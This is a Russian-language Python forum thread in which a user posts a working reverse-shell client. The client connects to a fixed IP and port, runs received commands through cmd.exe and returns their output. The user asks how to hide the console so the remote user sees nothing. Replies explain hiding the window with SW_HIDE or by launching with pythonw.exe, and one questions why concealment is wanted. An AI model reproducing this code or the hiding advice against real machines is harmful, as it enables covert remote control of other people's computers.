Уведомления

Группа в Telegram: @pythonsu

#1 Июнь 4, 2018 19:12:57

web-bomber
Зарегистрирован: 2018-06-04
Сообщения: 3
Репутация: +  0  -
Профиль   Отправить e-mail  

Скрыть консоль в python

Ребят, помогите пожалуйста, знаю проблема глупая, но уже 3-й день мучаюсь. Есть две программы: Сервер и Клиент. На своей машине запускаю сервер, а на удаленной клиент. Задача была получить удаленно командную строку (cmd). Все работает отлично, но при запуске клиента открывается пустая командная строка, хотелось бы ее скрыть. Вот код клиента

 #!/usr/bin/python3.5
from socket import *
import subprocess, time
while True:
    sock = socket(AF_INET, SOCK_STREAM)
    sock.connect(('192.168.0.228', 6996))
    try:
        data = sock.recv(1024)
        if not data: break
        result = subprocess.run(['cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.PIPE, input=data)
    except:
        break
    sock.send(result.stdout)
    sock.send(result.stderr)
sock.close()

Отредактировано web-bomber (Июнь 5, 2018 06:18:02)

Прикреплённый файлы:
attachment Безымянный.png (65,3 KБ)

Офлайн

#2 Июнь 4, 2018 22:31:21

doza_and
От:
Зарегистрирован: 2010-08-15
Сообщения: 4138
Репутация: +  252  -
Профиль   Отправить e-mail  

Скрыть консоль в python

web-bomber
но при запуске клиента открывается пустая командная строка
Это не она открывается а вы ее открываете. запускайте питон без запуска cmd. Код на питоне на это никак не влияет.



Офлайн

#3 Июнь 5, 2018 06:14:36

web-bomber
Зарегистрирован: 2018-06-04
Сообщения: 3
Репутация: +  0  -
Профиль   Отправить e-mail  

Скрыть консоль в python

doza_and
Извиняюсь, я кривой код вставил. cmd все равно будет открываться у клиента, даже если py в exe скомпилировать. Думал смотреть в сторону SW_HIDE но не знаю что с этим делать. Помогите, пожалуйста)

Офлайн

#4 Июнь 5, 2018 08:15:15

PEHDOM
Зарегистрирован: 2016-11-28
Сообщения: 2196
Репутация: +  294  -
Профиль   Отправить e-mail  

Скрыть консоль в python

web-bomber
Думал смотреть в сторону SW_HIDE но не знаю что с этим делать.
ничего не делать, это ключ в winAPI. чтобы его использовать вам нужно получить хендл на окно и с помощью например функции ShowWindow установить окну признак срытый(SW_HIDE или 0) тогда окошко исчезнет, но вам оно всеравно не нужно.
web-bomber
cmd все равно будет открываться у клиента, даже если py в exe скомпилировать.
а нахрена вам cmd? вы через него запускаете скрипт клиента? почему сразу не запускать пайтон без консоли?
pythonw.exe с:…бла-бла-бла\client.py



==============================
Помещайте код в теги:
[code python][/code]
Бериегите свое и чужое время.

Отредактировано PEHDOM (Июнь 5, 2018 08:19:02)

Офлайн

#5 Июнь 5, 2018 11:11:48

web-bomber
Зарегистрирован: 2018-06-04
Сообщения: 3
Репутация: +  0  -
Профиль   Отправить e-mail  

Скрыть консоль в python

Мне надо уделенно настраивать пк через cmd. Можете примерно показать как это будет выглядеть, пожалуйста . Скомпилировал client.py в exe. Запуская, все коннектится, но появляется пустая консоль, хотел бы ее и скрыть.

PEHDOM

Офлайн

#6 Июнь 5, 2018 11:54:50

Rodegast
От: Пятигорск
Зарегистрирован: 2007-12-28
Сообщения: 2756
Репутация: +  184  -
Профиль   Отправить e-mail  

Скрыть консоль в python

https://ru.stackoverflow.com/questions/595313/%d0%98%d1%81%d0%bf%d0%be%d0%bb%d1%8c%d0%b7%d0%be%d0%b2%d0%b0%d0%bd%d0%b8%d0%b5-python-%d0%b8-ssh-paramiko



С дураками и сектантами не спорю, истину не ищу.
Ели кому-то правда не нравится, то заранее извиняюсь.

Офлайн

#7 Июнь 5, 2018 13:55:21

JOHN_16
От: Россия, Петропавловск-Камчатск
Зарегистрирован: 2010-03-22
Сообщения: 3292
Репутация: +  221  -
Профиль   Отправить e-mail  

Скрыть консоль в python

Когда то давно делал так



_________________________________________________________________________________
полезный блог о python john16blog.blogspot.com

Офлайн

#8 Июнь 6, 2018 00:28:52

PEHDOM
Зарегистрирован: 2016-11-28
Сообщения: 2196
Репутация: +  294  -
Профиль   Отправить e-mail  

Скрыть консоль в python

web-bomber я не пойму то вам консоль нужна так как вы через нее чтото там настраиваете то не нужна потому что гладиолус. Давайте вы поподробнее опишете что вы делаете. Вы собираете exe из .py потом отттуда запускаете cmd консоль, а из нее еще чтото? зачем вам консоль и зачем вам ее скрывать?



==============================
Помещайте код в теги:
[code python][/code]
Бериегите свое и чужое время.

Офлайн

Board footer

Модераторировать

Powered by DjangoBB

Lo-Fi Version